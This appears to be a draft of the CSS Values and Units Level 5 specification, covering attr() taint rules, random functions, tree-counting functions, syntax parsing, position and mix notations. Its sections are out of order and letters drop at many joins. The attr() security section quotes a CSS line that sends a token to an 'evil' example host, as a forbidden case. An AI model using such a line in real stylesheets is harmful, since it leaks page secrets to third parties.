llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

